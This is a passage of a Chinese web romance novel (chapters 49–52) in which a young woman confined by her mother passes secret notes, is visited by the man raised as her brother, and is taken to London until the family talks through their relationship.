忽然,一个想法从脑中闪过,她眸子亮了一下,像找到生机般,“小饼干。” 呆萌的机械音响起,不带一丝感情,“你好,多次拒绝过敏乐队主唱的当代肖邦。” 49 第 49 章 ◎传递信息◎ 钟卿悦把所有的希望寄托在小饼干身上, 即使心底隐隐感觉到不可能,,她还是问了出来, “小饼干, 你可以打电话吗?” “抱歉, 小饼干没有语音通话功能, 但可以为您提供查电话号码, 模拟通话,起草信息内容,如果您有需要可以回复短语哦。”小饼干圆溜溜的虚拟眼睛眨了眨,连思考的问号都没闪现,回答的果断干脆。 钟卿悦心底燃起的最后一簇火苗熄灭,她生无可恋地瘫坐在椅子上, 救命,谁能救救她,真的叫天天不应, 叫地地不灵了。 窗外的天空已经褪去暗色, 变成纯净的蔚蓝,如同颜色饱满的蓝宝石,盈盈泛着微光。 她一夜没睡了, 却丝毫感觉不到困意。 她呆呆望着玻璃外的世界,不知道谢昱宁在干嘛,找不到她一定很着急吧。也不知道钟妈会不会让他进家门, 他能进来的话,两个人应该还能想办法联系上, 如果进不来, 那她只能想办法逃出去。 忽地, 灵光一闪而过,她猛然从椅子上坐直身子,“小饼干,被关在房间里怎么逃出去?” 小饼干突然被唤醒,顶端的光圈一亮一灭的闪动,问号眼睛持续不变,似乎陷入难题之中。她心脏不由得提起,感觉这次靠谱多了,希望它能给出合适的出逃方法。 片刻后,问号转化成眼睛,机械回复不紧不慢,“如果遇到被非法限制人身自由的紧急情况,请务必优先保证自身安全,可通过以下方式应对:一、联系警方,直接拨打110。若无手机请大声呼救,持续敲击墙壁、水管等,或从窗户扔出求救纸条。二、尝试用身份证开门,或用衣服拧成长绳从窗户攀降,若高于三楼……” “谢谢你,小饼干。”钟卿悦主动打断它的回答,这些方法对她都没用,她敲水管只是传递给钟妈,扔求救纸条落在院子里,看见的都是家里人…… 不过倒也给了她一些灵感,目前从窗户爬出去是最有可能的,只要她速度够快,就能顺利逃出庄园。 阳台门虽然打不开,但它是玻璃门,只要敲碎玻璃就能钻出去。 她环视一圈房间,又去衣帽间和洗手间看了看,能用的敲玻璃的只有衣帽间的木椅子,抓握起来比较方便,面积大,重量也足够。 她当机立断,抄起木椅子气势汹汹走到阳台门前。巨大的玻璃从底框延伸到顶端,中间并没有分割,不知道真的凿碎了会不会从上面哗啦一下掉下来划伤她。 而且…… 她凑近观察了一下,玻璃是双层的,每层都很厚实,中间大概有三厘米的空夹层,她记得看过类似的视频,双层玻璃的耐冲击力比单层玻璃更好,因为中间的空气层能缓冲外力,无形中增加了打碎的难度。 但也不是完全没办法打碎,视频中讲解过,玻璃的边缘和角落更脆弱,持续集中一个点撞击的话更容易破碎。 打量一眼整块玻璃,她选定右下角的位置,成与不成只能试试了。 她举起木椅晃荡着比划了一下,找准角度后大力朝着玻璃边缘凿了上去。 砰—— 一声沉闷的巨响回荡在房间内,玻璃安然无恙,而她被撞击的惯性推动着踉跄了几步。 情况不妙,玻璃太结实,凿个几下根本造不成任何威胁。但她不打算放弃,先敲个百十来下试试看吧。 一声…… 两声…… 第三下还没凿上去,门口已然响起钥匙插入锁孔的声音,她迅速反应,把作案工具推进洗手间,人转身躺到床上装睡觉。 钟妈带领着两个保镖齐刷刷进门,目光相汇,她压下喘息,懒懒撑起脑袋,“妈妈,有事吗?还是你打算还给我手机了?” 钟妈理都没理她,眼睛犹如X射线检测仪,对着房间各个角落扫描着,从房顶墙壁到玻璃,甚至拽开沙发垫看了一圈。 检查无果,她扬扬手,两位保镖心领神会,一个往洗手间走去,一个往衣帽间走去。片刻,其中一人拎着木椅子走了出来。 钟妈瞧了眼,冷嗤一声,“打算破窗而出吗?靠这个椅子敲碎钢化玻璃?” 钟卿悦也不藏着掖着了,“死马当做活马医呗,难不成在屋里憋死吗?” “行,那你医吧。”钟妈示意保镖把椅子给她留下,“我看你是华佗再世还是扁鹊重生。” 钟妈走了,门落上锁,她听到钟妈嘱咐两个保镖守在门口,等她再去阳台门口时就看到院子里也站了两个保镖。 钟妈嘴上嘲讽着她,实际上也还是害怕真让她跑了。 从根源上杜绝了她爬楼逃跑,她也懒得继续敲玻璃了。 事已至此,还是先睡一觉吧,熬了一宿,她觉得心脏怦怦跳得难受,头也昏沉起来,保护好身体才是重中之重。 — 钟卿悦和钟妈离开一小时后,钟爸才放了谢昱宁自由。 书房门打开,钟爸晃晃悠悠往主卧走,推开门看着蒙尘的床铺,他摇了摇头,“悦儿一直没在这里住吧。” “没。” 钟爸:“哎,我就知道,幸好你妈不知道,她光一股脑生气了。” 谢昱宁没心思和钟爸闲聊,开门见山问道:“她们回江城了?” 钟爸一顿,不着痕迹回头看他一眼,“不清楚。” 钟妈可是千叮咛万嘱咐让他嘴严实点,什么多余的话都不要说,他谨记在心。 谢昱宁淡淡看着,钟爸老谋深算,表情上看不出任何破绽,试探也试探不出什么。 他挑眉,将手机往兜里一揣,“我先走了,爸。” “诶,你去哪儿啊?” “回江城。”谢昱宁头也不回,已经打开了入户门。 钟爸连忙跟上,“大半宿了,你不睡一觉?” “我不困。” 钟爸把着门把手,左右为难,“哎呦,你连夜回去不安全啊。” 谢昱宁按下电梯,“您在这睡吧。” 钟爸看了眼屋里,又看了眼谢昱宁,“算了,我坐你顺风车,跟你一起回去。” 谢昱宁若无其事地应了声,这不就得出来了,她们百分之百已经回江城了。 下楼后王叔就开着车到了单元门口,两人上车,车子启动,直奔高速口。 谢昱宁拿手机给钟卿悦发了消息,没得到回复,片刻后又打了电话,也没人接。 他捏着手机望向黑漆漆的窗外,暗色玻璃上投射出他的倒影,眉宇间似覆霜雪,寒凉如水。 坐在另一侧的钟爸正紧急报备:[小诗,昱宁已经在回江城的路上了,怎么处理?] 钟妈回得很快,[你跟着了吗?] 钟爸:[跟着呢,你放心,我全程跟着他。] 钟妈:[别让他回家,你也别回来了,你们爷俩住酒店去。] ……? 钟爸一脸懵,怎么忠心耿耿的他也被赶出来了? 钟爸:[小诗,我能回家睡吗?我这次一直坚定跟随你的立场,悦儿哭,昱宁挨打,我心可疼了,我都没说话。] 钟妈发了个“无语”的表情,回道:[你自己想想对吗?你回来把昱宁自个儿扔外面?你这么当爹的?] 哎呦,钟爸一拍大腿,他这脑子,肯定是熬夜给熬坏了。 [是是是,你看我笨的,保证完成任务。] 他们从江城北高速口下来时天光微明,淡淡的薄雾笼罩大地,寒冬的霜雪凝结,岁暮天寒。 车内暖气充足,吹得人浑身燥热,钟爸迷迷糊糊睡醒,轻咳一声缓解嗓子的不适。 谢昱宁偏头看他醒了,便道:“爸,送你回家?” “不用,我不回去,你也别回去了,咱爷俩枫兰酒店住上个十天半月。” 谢昱宁不置可否,拍了拍驾驶位椅背,“王叔,枫兰酒店。” 两人到了酒店,办理好入住,钟爸进房间门时不放心嘱咐道:“你别乱跑啊。” 谢昱宁无奈轻笑,“我去哪,爸?” “啊,你不去哪就行,快睡一觉吧,熬一夜了。” 钟爸看着他关上房门才回了自己房间,这孩子太不省心了,要给他这把老骨头熬晕了。 谢昱宁回了房间,随手放下行李,一个电话就拨了出去。 — 钟卿悦是被袁姨叫醒的,袁姨给她端了早餐来,还有一份果切。 她睡得浑浑噩噩,头脑发胀,眼皮发沉,也没什么胃口。袁姨哄着她吃早餐,询问她中午想吃什么。 她随意报了几个菜,便问道:“袁姨,我哥回来了吗?” 袁姨抿紧唇,回头看了眼虚掩的门,保镖站在门口,能清楚听到她们的对话。她来之前太太叮嘱她什么都不可以说,所以此刻她不能回答。 她为难地叹口气,“小姐,我不能回答你。” 说完,她余光瞄了眼门口,见保镖没注意,微微对着钟卿悦摇了摇头。 钟卿悦立刻看懂了她的暗示,点头应了下,嘴上却回道:“问个话都不行吗?我又出不去,知道又能怎么样。” 袁姨附和道:“小姐,对不起,您别为难我了。” “你走吧袁姨。”钟卿悦佯装烦躁,“一会儿来拿盘子。” 袁姨应了声退出房间。 钟卿悦匆匆吃了几口包子,便找了张纸开始写东西,她写了谢昱宁的手机号,写明自己所在的位置和现在的情况,她希望待会儿袁姨能带出去,把这些事情转告给谢昱宁。 她没写很多,用词简洁明了,并且把纸撕得很小,折成泡泡糖大小。 袁姨进来拿盘子时,她随手递上去,指尖相触的那一刻,她从盘底把纸条塞到袁姨手中。袁姨先是一愣,继而明白过来,她不着痕迹地攥到手心,端着托盘离开了。 50 第 50 章 ◎送她出国◎ 一直到中午, 钟卿悦也没等到袁姨来送餐,她不知道外面什么情况,袁姨有没有给谢昱宁打电话?她现在还没来是不是已经被发现了? 她心里打起小鼓, 如果袁姨被抓住, 钟妈就会提高警惕, 到时候她再想和谢昱宁联系就更难了。一个头两个大, 这个局如何破? 忽然, 门口响起钥匙清脆的碰撞声,紧接着门被保镖推开,袁姨端着餐盘从容走了进来,表情无恙。 钟卿悦心提到嗓子眼,门外就是无时无刻不在监听的保镖,她也不能开口去问, 只能笑答:“谢谢袁姨。” 袁姨躬身往茶几上放餐,抬眼皮瞧她一眼,嘴上说着“客气了”, 头却小幅度地摇了摇。 没完成吗…… 意料之中, 但真的得到这个答案却也无比失望。 钟卿悦苦涩地扯了扯嘴角,“辛苦了袁姨。” 袁姨张了张嘴,欲言又止, 最终只是幽幽叹口气退出房间。 一桌美味佳肴,色香味俱全,却勾不起她任何胃口。 她用筷子拨弄着小山似的米饭, 几粒米顺着筷子掉落在桌面,她心不在焉地抽了张纸去擦, 动作幅度有些大, 米饭碗直接被碰倒, 圆滚滚的碗边顺着桌面打转,压在碗底的纸条也一览无余。 原本失望的情绪一扫而空,她瞬间精神起来。 展开纸条,袁姨娟秀的字迹映入眼帘,[电话没有打成,抱歉,小姐。但孟辰薇小姐来找您了,太太把她打发走了,我想办法把纸条转交给了她,希望她能帮您联系到少爷。] 哎呦,心情真的是坐上过山车,起起伏伏。 重点是袁姨摇得哪门子头啊!这事办得可太漂亮了,托付给孟辰薇再好不过了,她虽然不知道内情,但肯定会依言给谢昱宁打电话。 皇天不负有心人啊,忙活半天可算有点眉目了。 钟卿悦把纸条撕成碎片扔进垃圾桶,扶起歪倒的饭碗,抱着开始往嘴里扒拉,得吃饱啊,吃饱才能对抗。 得到这个消息后,她一下午都守在阳台。从她的房间能看到进庄园必走的路,无论什么人都逃不过她的法眼。 然而,从中午等到晚上,从满心期待等到心如死灰,除了钟妈上下班经过,家里再也没来过任何人。 袁姨来送晚餐时没多说话,她走后钟卿悦翻了个底朝天也没找到纸条,难道就石沉大海了吗? 她绝望地躺在床上,渐渐睡着了。 再睁眼时天已经完全黑透,院子里照明的路灯斜斜洒进屋里,堪堪照亮房间一隅。 她迷迷糊糊爬起来看了眼时间,这一觉竟然睡到了凌晨,这两天心力交瘁,一直睡不好,今晚实在太累了,一睡就沉得不行。 抿了口水润了润嗓子,身后突然响起细微的敲击声,她吓了一跳,循声回头去找。 声源从阳台位置传来,但她拉着窗帘,看不到外面,所以无法确定是什么导致的声响。 她放缓步子悄然靠近,细微的声音愈来愈清晰,像小石子在敲击玻璃。她心里生出无数种可能,但当拉开窗帘一角望出去的时候,整个人都傻眼了。 隔着玻璃门,外面是谢昱宁高大的身影,寒冬腊月,他没穿羽绒服,只穿了一件高领毛衫,头发蓬松散在额前,细碎的发丝遮不住眉宇间的疲倦。 她张了半天口都没发出声音,只是呆呆地看着站在阳台上的人,他怎么会,怎么能出现在这里,这可是三楼啊,而且院子里有保镖啊! 她看向黑漆漆的院子,原本站保镖的地方空无一人,那两个保镖不知道去了哪里。 谢昱宁被她的表情逗笑,弯了弯唇角,掏出手机打字示意她,[我用梯子爬进了一楼,你不要发出声音,我想办法把门打开。] 钟卿悦立刻闭紧嘴巴,乖巧地点点头。 只见他从口袋里掏出一张硬卡片,伸到门锁的缝隙处,拨弄几下发出轻微的“哒哒”声响,他拉了拉门把手,纹丝不动。 他忍不住蹙起眉,显然对撬锁并不熟练。 钟卿悦找了本子和笔,写下来拿给他看,[需要帮忙吗?] 他摇摇头,回已安抚的微笑,继续和门锁斗智斗勇。 片刻后,他第三次尝试拉门把手,结果还是没反应。钟卿悦看他耳朵鼻子冻得通红,有些心疼,在本子上写下:[你回去吧,太冷了,我再想办法。] “没事。”他说话的声音很轻,有些听不真切,但钟卿悦?*? 能懂。 硬卡片操作无果,他又从口袋里掏出一张银行卡,钟卿悦目瞪口呆,他是有备而来的。 同样的操作手法,但银行卡硬度更高,明显能听出拨弄锁舌时更有力。 咔哒咔哒的声音响了几次后,突然听到一声清脆的落锁声,成了! 钟卿悦一拉门把手,玻璃门随着滑轨打开,她一步踏出门框,扑进谢昱宁怀里。 熟悉的淡香混合着冬季寒冽的北风冲进鼻尖,她鼻头酸酸的,水雾积蓄在眼底。 “哥……”她闷在他胸前,脸颊不停地蹭着。 “乖。”大手抚着她的头发,一下一下的抚平她所有恐慌。 “外面太冷了,我们回房间。” 钟卿悦把他拉进屋里,又小心翼翼关上门,拉紧窗帘。 她压低声音凑在他耳边说:“外面有人在守着,我们要小点声说话。” 谢昱宁微微点头,指了指衣帽间的方向,那里离着门更远,相对隐蔽一些,不容易被听到声音。 两人从房间转到衣帽间,钟卿悦问道:“哥,那两个保镖呢?” “齐乐把他们带到车上去了。” “以暴制暴……?” 谢昱宁眯起眸子思索一瞬,“算是?” “是就是吧,不管了不管了,是妈妈先暴力执法的。”钟卿悦环着他的腰不撒手,像粘人的小猫在撒娇,“你是怎么找到我的呀?是不是薇薇给你打电话了?” “是我联系她来找的你,妈说你不在家,但是袁姨给了她纸条。” “原来是你让她来的呀,我说怎么这么巧。那我们下一步怎么办?” 谢昱宁道:“暂时维持现状,我明天就回谢家,谢嘉希会发声明,等公开我回谢家的消息后看一下爸妈的反应。” 钟卿悦垂着眼皮,忧心忡忡,说实话,她觉得钟妈接受的可能性为零,不过没有好办法的情况下只能走一步看一步,最起码见到谢昱宁她已经安心不少了。 “你现在在哪住?爸爸呢?爸爸好像一直没回来。”她问道。 谢昱宁有些无奈地挑了挑眉,“爸一直跟着我,我们住在枫兰酒店,应该是妈交给他的任务,他每天寸步不离的跟着我。” “他什么态度?” 谢昱宁:“爸相对淡定很多,但他听妈的。” 钟卿悦叹口气,点了点头,“兵来将挡水来土掩,就不信能一直关着我。” “嗯,别怕,我会想办法。” 谢昱宁指尖蹭蹭她的脸颊,微凉的温度让她缩了缩脖子,她扯过他的手包裹进掌心,“这么冷的天,你怎么穿那么少?” “穿厚了爬窗户不方便。” “你怎么爬进来的?我的房间好高。” “一楼厨房开着窗户,我从那里进来,上到三楼书房,从书房的阳台爬到你房间的阳台。” 这行动轨迹听得钟卿悦脸都白了,“这太危险了。” “没事,阳台离得很近。” 钟卿悦心有余悸,“你不用再来找我了,如果有事你就让薇薇联系袁姨,袁姨会告诉我的。” 他应了声,他担心她,也怕她会害怕、着急,所以想方设法来这一趟,看到她好好的,他才能放心做其他事情。 “你都有黑眼圈了,是不是没好好睡觉。”钟卿悦问道。 他摇摇头,“没事。” “你要好好休息,别担心……” 她话只说了一半,外面突然传来隐约的对话声,她下意识将谢昱宁推到衣帽间深处,眼神示意他不要出来,她出去看看。 刚走出衣帽间,门口就有钥匙开锁的声音,保镖说道:“太太,我们确定没人进去过。” 钟妈冷嗤一声,“院子里的两个人都没了。” 守在门口的保镖瞬间噤声,面面相觑,不敢说话。 门打开,钟妈冷着脸走了进来,看都没看钟卿悦,径直往阳台门走去。 “妈妈。” 钟妈步子一顿,慢条斯理偏头看她,目光似是洞察一切般,根本不屑于和她交流。 钟卿悦也不再说话,显然已经藏不住了,多说无益。 钟妈拉开窗帘去拉阳台门,轻轻一用力门就开了,她冷哼一声,扬了扬手示意钟卿悦,“解释一下?” “没什么好解释的。” 钟卿悦话音刚落,谢昱宁从衣帽间走了出来,“妈,是我开的。” 钟妈一点不惊讶,挑眉问道:“那两个保镖呢?” 谢昱宁:“在我车上。” “爬上来的?” “嗯。” “够拼的。”钟妈扬了扬下巴,“走吧,以后别做这么危险的事了,长痛不如短痛,忍过这段时间就放下了。” 钟卿悦很想反驳她,但此刻争吵也没什么用处,她不会因为两人的坚定而心软。 钟卿悦看向谢昱宁,微微点了点头,让他放心离开。他没说话,对视一瞬后转身出了门。 钟妈没有过多停留,紧随其后跟了上去。 下楼走到门口时,钟妈唤住谢昱宁,“昱宁,你有没有想过你对悦儿很可能只是兄妹之情,你怜爱她,珍惜她,只是出于你把自己放在了哥哥的位置上。” 谢昱宁缓缓转过身,“我知道我不是。妈,感谢你们把我养大,让你们被指指点点我很抱歉。” 钟妈抬手阻止他继续说下去,她以为谢昱宁至少会理智一些,但没想到她的儿子女儿都已经疯了。 她嗤笑一声,“抱歉的话,你们就不会那么做了。” 谢昱宁沉默片刻,“明天谢家很发声明。” “我们答应你爸不让你和谢家再有任何牵扯,况且你回了谢家我也不会同意你们两个的感情。” 谢昱宁没说话,微微颔首转身离开。 — 翌日上午,谢氏集团在各个平台发出了声明,圈外人自然不会过于关注,倒是成了圈内人茶余饭后的谈资。 钟妈一上午接了不少电话,明里暗里都在询问谢家的往事。知情多的人早已听说谢昱宁和钟卿悦的事情,在背地嚼舌根,说什么的都有。 好事不出门,坏事传千里,没到半天的时间,风言风语就都传遍了,自然也有许多传进了钟妈耳朵里,她原本就气不顺,听多了更是烦躁不堪,索性直接把手机关机。 晚上,她和钟爸在枫兰酒店碰了个面,短暂商议后,钟妈决定把钟卿悦送出国。 50-54 51 第 51 章 ◎好好谈一谈◎ 见过谢昱宁后的第三天, 钟卿悦拿到了孟辰薇传递进来的纸条,里面的字出自谢昱宁手笔,她一眼便认了出来。 他没有讲外面的事情, 也没跟她说钟爸钟妈的态度, 字里行间都在安抚她, 剩下地说的最多的就是很想她。 钟卿悦反复看了很多遍, 没舍得撕掉, 偷偷藏在了床头柜里。 不清楚这样的日子还要过多久,被关起来和自愿宅家的感觉完全不同,仅仅一周的时间,她已经要憋疯了,活动的范围无非这一亩三分地,又没有任何娱乐项目, 她甚至能体会到敬妃说的“我宫里有326块砖”,因为她无聊透顶时数了窗帘上的印花,有二百四十朵。 在她濒临崩溃的第七天, 钟妈出现了, 她进门后什么也没说,招呼袁姨和几个保姆进了衣帽间。 钟卿悦已经被磨没了脾气,懒懒撑着脑袋看着, “您大驾光临又要干嘛?” 钟妈淡淡瞥她一眼,“有什么一定要带的吗?” “带去哪儿?”钟卿悦敲响警钟,这话没头没尾的甚是怪异, 马上要过年了,难道要换地方关她? “出国, 伦敦, 陪我参加医学峰会。” “不是, 你参加峰会带我干嘛?”钟卿悦往床上一躺,“我不去啊,别带我。” 钟妈理都没理她,转身进了衣帽间,片刻后袁姨拉着行李箱出来,钟妈直言命令道:“下午三点的飞机,自己按照时间收拾收拾。” “我不去。”她哼着小曲儿摇着腿,“除非你同意我俩在一起。” 钟妈懒得和她废话,“随你,自愿和被迫自愿哪个更好受一些,你应该能分清吧。” 好好好,钟卿悦无言以对,去就去,总比被关在屋里强。 钟妈见此,知道劝说生效了,招呼着众人离开。 午饭的时候,钟卿悦把自己的行程写下来交给了袁姨,嘱咐她想办法给孟辰薇。 下午时分,踏出卧室,坐上去往机场的车。她和钟妈坐在后排,轮班值守在她门口的两个保镖一个开车一个在副驾驶,丝毫不给她逃跑的机会。 她们登上飞机后,谢昱宁才收到钟卿悦传递出来的消息,他二话不说就让齐乐订机票。 钟爸一直守着他,没想到谢昱宁的消息那么灵通,他连忙给钟妈打电话发短信,然而钟妈手机已然关机,消息都石沉大海了。 没了主心骨,钟爸只能死板的阻拦谢昱宁,“你不能去,你去了也没用,你找不到她们的。” 谢昱宁在收拾东西,抬眸看了他一眼,“爸,你要跟我一起吗?” 钟爸语塞,那阻拦不了他肯定得跟着啊,不然钟妈知道还不得扒了他的皮。 “去,你给我买票。” 谢昱宁扬了扬手,齐乐立刻掏手机,“钟先生,您把个人信息跟我说一下。” 钟爸说完,齐乐就去忙着订票,房间里只剩两人,钟爸开门见山,“你怎么得到消息的?” 谢昱宁沉默,不打算告诉钟爸。 对抗父母这件事本就棘手,他完全可以带着钟卿悦离开,不管不顾父母的看法,别人的眼光。可他想要的不是在一起那么简单,他想要的是被所有人祝福的未来,他知道钟卿悦也想光明正大的在一起。 所以这件事就一直卡在这里,不上不下的干耗着,怎么处理都不对。 钟卿悦那边,经历十一个小时长途飞行,落地就被钟妈带去了一间公寓入住。 房间宽敞明亮,装修精致,家电齐全,一看就适合长期居住的样子。 钟卿悦有些疑惑,围着房间打量了一圈,问道:“妈,这房子是买的还是租的?” “你问这干嘛?”钟妈没有正面回答。 “你要长期在伦敦?” 钟妈敷衍地应了声。 钟卿悦隐隐察觉不对劲,“我们这次要待多久啊?不回国过年了吗?这都腊月了诶,什么峰会开在这个时间段啊,还那么久,你们单位也奇奇怪怪的。” 她打破砂锅问到底的行为让钟妈蹙起眉头,钟妈把行李箱往她手里一塞,推着她往次卧走,“收拾你东西去。” “诶。”她半推半就,嘴上也不闲着,继续絮絮叨叨试探,“要待那么久吗?还收拾东西?行李箱打开当衣柜不就行了,我还要回家过年呢,不如我们去碧海岛啊,爸爸不是喜欢海钓嘛。” “钟卿悦!” “干嘛呀,妈妈。” 钟妈道:“你少操点心行不行?能不能消停会儿?” 她一撇嘴,“好吧。” “等等,我再问最后一个问题行吗?” “别再问和房子,和我工作,和回家的问题,其他都可以。” “好好好,不问不问。”她顿了顿,“我就问,你什么时候能同意我和我哥在一起?” 钟妈脸色更黑了,狭长的眸子带着冷冽的寒光甩在她身上,“你都喊哥了,你觉得你们这种感情合理吗?” “哦,不好意思,我叫习惯了嘛。我换个说法,你什么时候同意我和谢昱宁在一起?” “不可能同意!” “为什么?他哪里不好吗?他不是你们看着长大的吗?你不是一直觉得他很优秀吗?” 钟妈无语,“这跟优不优秀没关系,他是你哥,你怎么不分伦理?” “到底是谁不分伦理啊?!他是你生的吗?不是。跟我有血缘关系吗?没有。你收养他了吗?没收养。”钟卿悦一耸肩,“呐,有什么伦理可言?” “我们养他大我们就算养父母,亲情不可能改变,你们都是我的孩子,就是兄妹!没有商量的余地!亲人就是亲人。” 两人说着说着就奔吵架去,音量一个高过一个,偏偏钟妈不太善于吵架,偏偏钟卿悦又是没理搅三分的,争到最后,钟妈气红了脸,扬手又要打她。 钟卿悦这次没上头,哪能真挨这一巴掌,缩着脖子闪身躲到一侧,“您怎么说不过就打人?” 话音刚落,门口突然传来电子锁解锁的声音,两人瞬间噤声,不约而同望了过去,下一秒门打开,谢昱宁抬步走了进来,紧接着钟爸垂着脑袋跟了进来。 钟妈火气一下子爆发,“钟硕阳,你干什么呢?!” “小诗…你听我解释,我……” “妈,你别怪我爸,是我拿了他的手机,恰好看到你发的位置。” 钟妈狠狠瞪了钟爸一眼,都怨他前面一个劲的发消息,连发了一堆,钟妈下飞机后开机看到就顺手回了,告诉了钟爸她们的位置,谁能想到他手机还能被拿走。 钟爸忙不迭凑到钟妈面前,厚脸皮地笑嘻嘻着,“你也别生气,光隔着俩孩子也不是个办法,咱坐下来好好谈谈,孩子们也都长大了。” “呵,你这会儿当上好爸爸了,钟硕阳,你看看你养的好女儿,早晚我得让她气死。” “不气不气,咱不生气哈。”钟爸连忙给她顺着后背,没什么威胁性地瞪了钟卿悦一眼,“还不快给你妈妈道歉,一天天的没大没小!” 钟卿悦偏开脑袋,“我没错,道什么歉,有什么可道歉的。” 这句话无疑是火上浇油,钟妈缓和的脸色瞬间阴沉了下来,掐着钟爸胳膊就说:“你看看,你看看啊,我说得有假吗?” “没假没假,不生气啊,咱不生气。”钟爸给钟妈顺着后背,目光看向钟卿悦,又扫了眼谢昱宁方向,“少说话,好不容易能坐下来谈谈,得珍惜这次机会!” 钟卿悦瞬间了然,连忙噤声,顿了一瞬又老老实实对着钟妈鞠了一躬,“对不起妈妈,我不该跟你吵架。” 识时务者为俊杰! 大丈夫能屈能伸! “行了,下次长点记性!”钟爸打着圆场,又柔下声来哄钟妈,“你看孩子来都来了,咱也好好聊聊。” 钟爸这两天日子是真不好过,有家不能回,钟妈给他安排了任务守着谢昱宁,他一刻也不能离开。公司又忙得不可开交,一天天恨不得把他电话打爆,他分身乏术,晚上睡不好,白天不能睡,唯一的愿望就是快终结这场闹剧。 说实在的,钟爸一开始确实难以接受,和钟妈反应大差不差,可熬了这些天下来,没给谢昱宁熬服气,给他这把老骨头熬快散架了。老头子也没啥接受不接受了,反正脊梁骨已经让人给戳上了,好听不好听的话早顺着他耳朵进来了,听都听了,何必还跟孩子强呢? 钟妈可不是这个想法,一听钟爸这话,她更来气了,“你是不是让洗脑了?我就知道你不靠谱,你就这么当爸的吗?你知不知道,你这是在害他们!” 钟爸被一通教育,吓得一句话也不敢说了,妻管严嘛,就这样。 房间里一时陷入沉默,各怀心思。 片刻,谢昱宁开口打破,“爸,妈。” 他将随身的文件袋打开,从里面拿出一沓文件和几本不动产权证书。 “这是我所有资产,公司40%的股份我转到了悦儿名下,房产随时去过户,这几张卡里是我手里所有的流动资金。” 他顿了顿,“我不知道该怎么做能让你们认可,这是我能想到的唯一的办法。” 他双手递上档袋,钟妈看着没说话,钟爸扫了一眼,连忙接过,“你看昱宁这孩子不善言辞,但真诚啊。” 钟妈冷冷瞥了钟爸一眼,示意他少说话。 “昱宁,你知道我不是因为这个。你们本就是兄妹,在一起有违伦理,不合适。”钟妈叹口气,“股份你再转回去吧,你既然回了谢家,也不要再喊我们了,养你这些年,我们也算没辜负老谢和舒瑾的嘱托。你长大了,不需要我们再照顾了。” “妈!”钟卿悦上前一步,“您为什么就转不过这个圈啊?” “你闭嘴!”钟妈厉声道。 谢昱宁沉默地垂下眼睑,再次屈膝跪在了两人面前,“妈,您能不能再考虑考虑?” 52 第 52 章 ◎暂时先同意◎ 谢昱宁就那么跪在地上, 钟妈偏开头不为所动,明明心里也不是滋味,可就是无法越过心里那道坎。这些年她打心底把谢昱宁当成自己的儿子, 儿子突然爱上女儿, 她想到心里就是一阵憋闷。 钟卿悦看着这个场面难受得很, 明明两个人已经很努力在征求认可, 怎么就得不到钟妈点个头呢。 她越想越气, 上前拽住谢昱宁的胳膊,“哥,我们走,我不要他们同意了。” “你们敢走!”钟妈原本安抚下的情绪再次爆发,她就是个吃软不吃硬的人,钟卿悦越跟她反着来, 她越抗拒这件事。 气氛急转直下,好不容易消停的两个人再次针尖对麦芒,钟爸连忙跳出来打圆场, 他先伸手拉起谢昱宁, 继而对着钟卿悦一顿挤眉弄眼,依照他对钟妈的了解,她明显态度缓和了许多。 她是个性子特别轴的人, 一板一眼,接受新鲜事物的能力差,加之周围人指指点点说三道四, 更让她一时转变不过思想。 “既然都说要谈了,我们一家人就得往好里谈, 悦儿, 你动不动就耍脾气, 这还怎么商量,而且你妈妈还没开口反对,她还在考虑,你着什么急!” 一句话就给钟妈架了上去。钟妈听得脸色一阵红一阵白,恨不得把钟爸身上瞪出个窟窿。 钟爸装傻充愣,既然决意要在孩子面前当好人,他就硬着头皮继续下去了。 钟卿悦一愣,默契的和谢昱宁对视一眼,缄默不语。 钟爸搂着钟妈肩膀,讨好地笑笑,“小诗,你好好考虑,不生气不着急。” 钟妈眼里都快冒火了,恶狠狠地咬着后槽牙,挤出一句,“我什么时候说考虑了!” 钟爸:“昱宁说话你也没反驳,我这不就斗胆猜了猜。” 钟妈皮笑肉不笑地扯扯嘴角,手捏了把他胳膊,捏得钟爸哀嚎一声。 嚎完,他继续陪笑脸,“你看这时间也不早了,天都黑了。” 他轻咳一声,扬了扬手,“那什么,你俩出去吃口饭吧,我跟你妈妈在家,别打扰我们二人世界。”!!! 这什么天大的好事! 钟卿悦愣了一秒钟后迅速反应,拉着谢昱宁就往门口跑,头也不回地甩下一句,“那我们走了。” 钟妈人都傻了,被硬控在原地,半天才怒气冲冲道:“钟硕阳你要干什么,好不容易熬到这一步,功亏一篑了啊!” “诶诶诶,小诗,你别生气啊。”钟爸说着最软的话,手却牢牢拽着她,生怕她冲上去阻挡跑向门口的两人。 两人一股脑冲进电梯,门缓缓合上,钟卿悦似乎得了新生,一把勾住谢昱宁脖子扑到他身上,“呜呜呜,哥,我们逃出来了。” “嗯,是。”谢昱宁宠溺地抚摸着她的脑袋,手臂紧紧环绕住她腰际,“我很想你。” 钟卿悦鼻头一酸,在一起后第一次分开那么多天,还是那种彻底断联的分开,她也很想他。 “以后都不要分开了,我要天天缠着你,就算妈妈把我关起来,我也要偷偷跑掉。” 毛茸茸的脑袋窝在他颈间,柔软的发丝带着她独有的清甜气息,萦绕在鼻尖,扰乱心绪。 他抿唇应下,“不会分开了,妈应该同意了。” “真的?”她从他怀里探出脑袋,“你怎么知道?” 此时电梯门也开了,谢昱宁没有立刻接话,而是牵着她走出电梯,“想吃什么?” “你怎么还转移话题,吊我胃口!” 谢昱宁轻轻勾了勾唇角,偏头温柔地看着她,“没有。” “就有!”钟卿悦仰头瞪他,“快说,不准卖关子!” 谢昱宁不再逗她,“不是我看到了爸的手机,而是爸主动告诉我的。” 钟卿悦惊讶地吸了口气,“所以爸爸同意了?” “嗯,他说他想明白了,而且觉得我经受住了考验。”谢昱宁说这话的时候有些小小的骄傲。 “那我也经受住了呀,我可是被关了将近半个月呢!” “嗯,是。”他宠溺地捏捏她的脸,手感软软的,却不似之前有肉感了,“你瘦了。” “是嘛。”钟卿悦摸了摸自己的脸,“还好啦,瘦也是给我闷瘦了,我有好好吃饭的,倒是你,哼哼,都有黑眼圈了,肯定是想我想得睡不着吧。” 堆积在眼眶下的淡青色十分明显,下颌线也更加清晰了,一看便知他最近过得不好。 谢昱宁坦坦荡荡承认,“嗯,睡不着,一个人的床太大了。” 钟卿悦得意地扬起下巴,“既然这么想本小姐,本小姐就陪你吃顿饭吧。” 上了车,谢昱宁吩咐司机去不远的一家餐厅。齐乐坐在副驾驶,看到钟卿悦惊讶地说不出话。 